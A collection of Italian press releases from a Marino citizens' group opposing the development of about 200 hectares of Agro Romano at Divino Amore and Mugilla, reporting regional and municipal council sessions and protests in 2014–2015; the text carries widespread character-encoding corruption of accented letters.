Il partito del cemento A? a tutti gli effetti trasversale e, nonostante il Movimento Cinque Stelle abbia portato la questione in Aula Consiliare e in Commissione sotto la spinta dell’Assemblea Contro la Cementificazione, il Comitato Argine Divino Amore ed altre associazioni ambientaliste, gli interessi di palazzinari locali (Mugilla) e di Parnasi (Ecovillage) sono ben tutelati dall’Ente Regionale e dal Comune di Marino.

Per la cronaca, ieri in Commissione, era presente anche un funzionario comunale che A? tra gli artefici di tutta una serie di progetti speculativi che stanno devastando il territorio marinese da diversi anni, evidentemente interessato a capire che aria tirasse. Ricordiamo come la questione dei 78 ragazzi richiedenti asilo che dovevano essere ammassati in alcuni appartamenti invenduti in zona 167 abbia provocato psicosi collettive cavalcate dalla destra nostrana ma non ha messo in discussione la cementificazione di quella zona e la speculazione immobiliare, con la stragrande parte degli appartamenti liberi e che tali resteranno per lungo tempo.

La domanda era e resta: con tutte le case sfitte e invendute costruite in questi anni, con una cronica carenza di servizi, con una viabilitAi?? che in certe ore rasenta l’immobilitAi??, perchAi?? andare a distruggere per sempre quasi 200 ettari di Agro Romano ?

Non esiste nessuna giustificazione plausibile, A? inutile cercarla nelle parole di Palozzi, di Civita o dei suoi avvocati, la popolazione A? ben conscia di quali interessi si muovano.

Del resto l’attuale sindaco Silvagni, anch’egli tutore del cemento, A? ancora agli arresti domiciliari a oltre due mesi dall’arresto proprio per questioni legate all’urbanistica.

Anche se questo fatto passa del tutto inosservato, come se a livello mediatico qualcuno avesse messo la sordina perchAi?? si vuole indirizzare l’opinione pubblica a parlare d’altro.

Accendiamo i riflettori sugli interessi che stanno alla base delle fortune politiche di certi partiti e personaggi, perchAi?? essi sono diametralmente opposti alle esigenze della maggior parte dei cittadini e ne condizionano le vite.

Invitiamo pertanto la popolazione a continuare a partecipare alle iniziative organizzate sul territorio per impedire che i sogni dei palazzinari diventino gli incubi quotidiani di chi vive, studia e lavora nel comune di Marino. Ogni lunedAi??, alle 21.30, l’Assemblea contro la Cementificazione si riunisce pubblicamente presso la sede di via S.Paolo Apostolo 19, a 100 mt dalla Stazione di S.Maria delle Mole

Marino, 17 giugno 2015

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE

http://stopcemento.noblogs.org —– stopcemento@noblogs.org

Comunicatto in PDF

La Regione Lazio dalla parte dei devastatori

REGIONE LAZIO: PROTESTA CONTRO LA DECISIONE DELLA GIUNTA ZINGARETTI, CHE NON SI OPPONE ALLA CEMENTIFICAZIONE DI DIVINO AMORE E MUGILLA

MercoledAi?? 29 Aprile si A? tenuta una seduta del Consiglio Regionale del Lazio, che ha avuto tra i punti allai??i??ordine del giorno la discussione di una mozione, presentata da alcuni consiglieri del Movimento Cinque Stelle, volta a richiedere la revoca delle delibere di giunta regionale, emanate tra Dicembre 2012 e Febbraio 2013 dallai??i??allora Giunta Polverini (peraltro giAi?? dimissionaria), riguardanti la cementificazione di piA? di 200 ettari di Agro Romano, ricompresi entro i confini del Comune di Marino, in localitAi?? Mugilla e Divino Amore.

Si tratta di un abnorme progetto di sviluppo da circa un milione di metri cubi di edilizia residenziale privata e commerciale, che si tradurrebbe, se effettivamente attuato, nella costruzione ex novo di una vera e propria cittAi?? da 12.500 abitanti. I costruttori legati al piano edificatorio sono vari, da quelli locali fino a Luca Parnasi, lo stesso del nuovo stadio dellai??i??A.S. Roma, cui difatti fa riferimento la lottizzazione di gran lunga piA? rilevante.

Le contraddizioni che insistono su tale cementificazione sono molteplici: dallai??i??assenza del cambio di destinazione dai??i??uso per i terreni coinvolti, necessario per la legittimitAi?? di qualsiasi variante, fino alla criticitAi?? della situazione idrogeologica dellai??i??area, solo per citarne alcune fra le piA? importanti.

Civita e Palozzi a colloqui durante seduta regione lazio 29 aprile 2015 (Copia)

Palozzi discute con l’assessore Civita in aula consiliare alla Regione Lazio in merito alla questione della cementificazione del Divino Amore, prima della discussione della mozione. L’ex sindaco di Marino voleva arrivare arrivare al voto, che da prte sua sarebbe stato contrario, mentre l’assessore Civita vuole un prolungamento dei tempi. In ogni caso, un favore ai devastatori

GiAi?? nelle sedute di MercoledAi?? 15 Aprile e di LunedAi?? 27 Aprile la mozione in questione si sarebbe dovuta discutere; entrambe si erano invece concluse con il rinvio del consiglio regionale. Maggioranza e centro destra, alfine di fiaccare la resistenza dei numerosi cittadini dellai??i??ai??? Assemblea contro la cementificazioneai??? e del comitato ai???Argine Divino Amoreai??? (i cui ricorsi contro la gigantesca speculazione giacciono tuttora presso il T.A.R.), non avevano esitato a ricorrere a tutte le tecniche dilatorie a disposizione. Tra ripetute sospensioni delle sedute, pause protratte per ore e bocciature delle richieste di inversione dellai??i??O.d.g., non pochi consiglieri avevano peraltro scelto di disertare lai??i??assemblea, per primo lai??i??assessore competente Michele Civita. Alla condotta inetta e subalterna di questi personaggi erano ovviamente seguite le proteste dei presenti, decisi a difendere il proprio territorio.

Il comportamento di assessori e consiglieri non ha perA? raggiunto i risultati sperati, e, anche il 29 Aprile, per la terza volta in due settimane, il Consiglio si A? svolto alla presenza dei comitati. Cominciata la discussione della mozione, che a questo punto non poteva piA? essere elusa, Civita ha esposto la posizione della maggioranza.

In sostanza, ad una teorica dichiarazione di generale contrarietAi?? nei confronti della cementificazione del Divino Amore, corrisponde una preoccupante mancanza della volontAi?? politica di opporsi a tale scempio, celata dietro la proposta dellai??i??assessore di sospendere la discussione della mozione in attesa di un nuovo esame in commissione urbanistica dellai??i??intera operazione, nella quale sede lai??i??Avvocatura di Stato dovrAi?? esprimere il proprio parere circa la praticabilitAi?? di un eventuale stop al progetto. Quello che Civita agita A? cioA? lo spauracchio dei cosiddetti ai???diritti acquisitiai???, vero dogma del cemento selvaggio, invocato per giustificare le iniziative politico-imprenditoriali piA? sciagurate.

Il PD ha avuto gioco facile nel far approvare la proposta di sospensione, con il decisivo appoggio di SEL. Eppure in campagna elettorale Zingaretti si era assunto lai??i??impegno di annullare le delibere approvate illegittimamente dalla Giunta Polverini giAi?? dimissionaria. Eppure sei consiglieri del PD avevano qualche tempo fa presentato una mozione analoga a quella attuale, che perA? non A? stata mai discussa. Le giravolte della maggioranza danno la misura di quanto consistenti siano gli interessi in ballo e di quanto siano trasversali agli schieramenti partitici.

Dal canto suo, il centro destra avrebbe viceversa voluto votare subito la mozione. Il consigliere Adriano Palozzi, ex sindaco di Marino, vero referente politico della cementificazione, si A? intrattenuto per circa un quarto dai??i??ora con lai??i??assessore Civita, discutendo animatamente. Lai??i??aria che si respira negli uffici del Comune di Marino A? ultimamente piuttosto pesante, dopo lai??i??arresto lo scorso 9 Aprile del sindaco di centro destra Fabio Silvagni per corruzione e peculato e la destra regionale avrebbe certo preferito bocciare subito la mozione, blindando ulteriormente un piano edilizio attorno al quale si giocano varie fortune politiche, ma che fa acqua da tutte le parti.

La Giunta Zingaretti decide di non decidere, rinvia la discussione sul merito della mozione alle calende greche, in una situazione nella quale per le lottizzazioni piA? piccole i costruttori dispongono giAi?? dei permessi a costruire. Allo stesso tempo non avalla direttamente lai??i??operato di uno schieramento politico che governa il comune di Marino da anni e che oggi A? impantanato in difficoltAi?? giudiziarie. Impossibile tuttavia non cogliere la somiglianza tra la decisione della maggioranza regionale e la sospensione votata dalla maggioranza comunale di Silvagni a Novembre 2014 per una mozione che richiedeva appunto il ritiro delle delibere, in quel caso del consiglio comunale di Marino, riguardanti la cementificazione del Divino Amore.

Lai??i??Assemblea contro la cementificazione rilancia la mobilitazione contro questa acclarato attacco al territorio e continuerAi?? nellai??i??opposizione al progetto in tutte le sedi necessarie, per scongiurare un drammatico peggioramento delle condizioni di vita della popolazione.

Marino, 30 Aprile 2015

Assemblea contro la cementificazione — http://stopcemento.noblogs.org

Comunicato in formato PDF

Protesta alla Regione Lazio

REGIONE LAZIO: PROTESTA CONTRO LA CEMENTIFICAZIONE DEL COMUNE DI MARINO PER IL RINVIO DELLA MOZIONE

MercoledAi?? 15 aprile, un folto gruppo di cittadini S.Maria delle Mole, Frattocchie e degli altri centri abitati del comune di Marino si A? presentato sin dalle 10.30 presso il Consiglio Regionale del Lazio in occasione di una seduta durante la quale era all’ordine del giorno la richiesta di revoca delle delibere riguardanti la cementificazione di Via del Divino Amore e Mugilla.

Dopo aver esposto alcuni striscioni fuori il palazzo de ai???la Pisanaai???, mentre tra l’altro decine di ex-lavoratori Alitalia protestavano contro l’incerto futuro che li attende, l’Assemblea contro la Cementificazione e Argine Divino Amore hanno assistito ad una farsa che si A? conclusa poco dopo le 17.00.

Si potrebbe quindi pensare che per ben 7 ore il Consiglio Regionale fosse impegnato nella discussione e nella votazione dell’Ordine del Giorno.

In realtAi??, dopo una mezz’oretta di ai???interrogazioniai??? e di ai???comunicazioniai???, gli sproloqui di Storace sempre a cerca di soldi per le strutture sanitarie private, il presidente del consiglio Leodori (PD) sospende i ai???lavoriai??? perchAi?? dovevano votare la decadenza di un ai???collegaai??? consigliere e Storace aveva sollevato dubbi sulla legittimitAi?? del voto segreto.

Tra un rinvio e l’altro, cresce da parte nostra l’attesa per la ripresa dei lavori e inoltriamo richiesta di invertire l’OdG in modo tale da discutere quanto prima la mozione sulle revoche delle delibere della Polverini che davano l’ok ai piani integrati da 12.500 residenti e 1.300.000 metri cubi di cemento.

Fino alle 17.00, l’aula consigliare rimane deserta mentre cresce la partecipazione delle persone tra il pubblico appositamente intervenute dai nostri territori per capire se il PD, la sua maggioranza e l’assessore competente Civita approveranno o meno la mozione presentata dal Movimento 5 Stelle su nostra richiesta. Facciamo notare che si tratta in gran parte di una mozione simile presentata (ma non votata!) dallo stesso PD un paio d’anni fa.

Alle 17.05, dopo il voto sulla decadenza del consigliere, incurante della formale richiesta di inversione dell’OdG, il presidente Leodori comunica freddamente e senza motivazioni la sospensione della seduta e il rinvio al prossimo mercoledAi?? 22 aprile, con la mozione anti-cementificazione ai???in salitaai??? alla sesta posizione.

Dalla platea dove eravamo in attesa da quasi 7 ore si alza forte la protesta contro la messa in scena cui abbiamo assistito: centro-sinistra e centro-destra, dopo aver ai???lavoratoai??? mezz’ora scarsa in tutta la giornata, lasciano in fretta l’aula mentre esponiamo scritte contro la cementificazione e cori contro lo scempio che vogliamo evitare.

Non vi riportiamo gli insulti rivolti ai soggetti politici che, ancora una volta, pensano di ai???lasciar correreai??? senza prendersi la responsabilitAi?? di revocare i devastanti progetti per i quali il Comune di Marino ha rilasciato giAi?? alcuni permessi a costruire.

Nonostante lo scorso 1 aprile l’ultima seduta del consiglio comunale marinese, presieduta dal sindaco Silvagni ora agli arresti domiciliari, avesse visto una protesta simile al termine di una interrogazione sugli stessi temi e nonostante il terremoto politico-giudiziario tuttora in corso nel nostro comune, riguardante assessori e dipendenti dediti proprio all’urbanistica, il Consiglio Regionale del Lazio A? riuscito a snobbare ai??i?? per ora ai??i?? le questioni che riguardano il destino di decine di migliaia di persone e un territorio di oltre 200 ettari.

Non molleremo di un centimetro, ci ripresenteremo al Consiglio Regionale non appena sarAi?? formalmente riconvocato e invitiamo la popolazione a continuare la mobilitazione contro i progetti speculativi in atto.

Prossima assemblea: lunedAi?? 20 aprile, ore 21.30, sede di via S.Paolo Apostolo 19, S.Maria delle Mole

Marino, 17 aprile 2015

Assemblea contro la Cementificazione

http://stopcemento.noblogs.org — stopcemento@inventati.org

IL CONSIGLIO COMUNALE DECIDE DI FAVORIRE LA CEMENTIFICAZIONE

CORRISPONDENZA AUDIO PER RADIO ONDA ROSSA 87.9 FM

COMUNICATO

IL CEMENTO VIEN DI NOTTE: IL CONSIGLIO COMUNALE DI MARINO ALLE ORE 01.15 DECIDE DI FAVORIRE LA CEMENTIFICAZIONE DI VIA DEL DIVINO AMORE.

Ieri, 27 novembre, il Consiglio Comunale di Marino ha veramente dato il ai???peggio di sAi??ai???.

Convocato per le ore 15.00 e iniziato alle 16.00, in una sala gremita da cittadini di Marino e delle frazioni che in questi anni si stanno battendo contro il ai???masterplanai??? che prevede un milione e trecentomila metri cubi di cemento, A? stato protratto ai???ad arteai??? fino in tarda nottata.

Questo perchAi?? la maggioranza guidata dal sindaco Silvagni, in piena continuitAi?? con la precedente amministrazione Palozzi, e il Partito Democratico hanno inscenato uno squallido teatrino, forse sperando che la sala si svuotasse.

Il settimo punto all’ordine del giorno A? stato presentato da parte dell’opposizione sotto la spinta di movimenti e associazioni per chiedere la revoca delle delibere comunali del 3 agosto 2011 che di fatto approvavano la speculazione edilizia per ulteriori nuovi 12.500 residenti.

Arrivare a discuterlo A? stata quasi un’impresa, in quanto il sindaco Silvagni, la sua maggioranza e il PD hanno fatto veramente di tutto per ai???allungare il brodoai???, spesso anche provocando le numerose persone presenti accorse a sostenere la mozione di revoca.

Il dato principale che emerge A? l’interesse fattivo di maggioranza di centro-destra e PD nel voler continuare a favorire i costruttori e la devastazione del territorio, circa 200 ettari di Agro Romano adiacenti ai centri abitati di S.Maria delle Mole e Frattocchie.

Il gioco dello scaricabarile, l’appellarsi inutilmente alla Regione Lazio, con Zingaretti che prosegue sulla linea tracciata dalla Polverini, da Palozzi e da Montino, il fatto che la maggioranza stessa ha piA? volte ripetuto che auspica che il TAR accolga i ricorsi giAi?? presentati ha rappresentato bene solamente l’imbarazzo di questi soggetti politici nel sostenere i progetti di cementificazione di fronte decine di persone determinate e molto preparate sull’argomento.

Spesso, infatti, si sono accesi dibattiti tra consiglieri e cittadini, con questi ultimi che intervenivano per puntualizzare le questioni citate a sproposito.

Non si possono sintetizzare oltre 10 ore di ai???melinaai??? e di ai???strafalcioniai??? in un breve comunicato.

Valga per tutti, la dichiarazione di Silvagni che in uno dei suoi interventi ha dichiarato che dietro la Ecovillage presentatasi nei suoi uffici, societAi?? titolare di quai metAi?? delle cubature, c’A? il costruttore Parnasi per poi immediatamente correggersi dicendo che lui stesso ai???non conosce nemmeno i costruttori interessatiai???.

Un lapsus che la dice lunga…

Vogliamo sottolineare come le 7 ore di attesa prima della discussione e le 3 ore di dibattimento abbiano fatto montare solamente l’esasperazione delle persone presenti, senza per altro raggiungere l’obiettivo di allontanarle dall’aula consiliare.

Anzi, il teatro dell’assurdo andato in onda ieri si ritorcerAi?? contro chi lo ha messo in scena perchAi?? la gente che lotta contro la cementificazione A? ben preparata e conscia che sarAi?? una battaglia di lunga durata.

Sapevamo tutti e tutte che ieri non ci sarebbe stata alcuna revoca delle delibere a favore dei palazzinari e contro la popolazione giAi?? residente. I consiglieri comunali di centro-destra ed il PD hanno solo tentato di salvare le apparenze, facendo una figura pessima davanti a tutti.

Per la cronaca, alle ore 01.15, la maggioranza ha votato un inutile rinvio della mozione ai???sine dieai???, comunque da votarsi solo dopo le decisioni del TAR sui ricorsi presentati.

E’ stato fatto notare che se il TAR decidesse di accogliere i ricorsi, cancellando delibere comunali e regionali impugnate dall’Assemblea contro la Cementificazione e da ADA, sarebbe del tutto inutile la stessa mozione, in quanto il Comune di Marino dovrebbe solo prendere atto della decisione presa dal Tribunale Amministrativo.

L’inutilitAi?? di quanto approvato ieri A? comunque un atto a favore dei costruttori visto che la Giunta Comunale e gli uffici tecnici continuano a produrre atti materialmente utili alle societAi?? a forma di ai???scatole cinesiai??? costruite ad hoc per devastare per sempre il territorio intorno al Gotto d’Oro.

A tutti quelli che ieri c’erano e hanno partecipato, sottolineando anche la presenza chi A? venuto dalla Cecchignola dove si sta combattendo una battaglia simile, rivolgiamo l’invito a tenere alta la mobilitazione.

La lotta A? solo all’inizio.

Marino, 28 novembre 2014

Assemblea contro la Cementificazione ai??i?? http://stopcemento.noblogs.org — stopcemento@inventati.org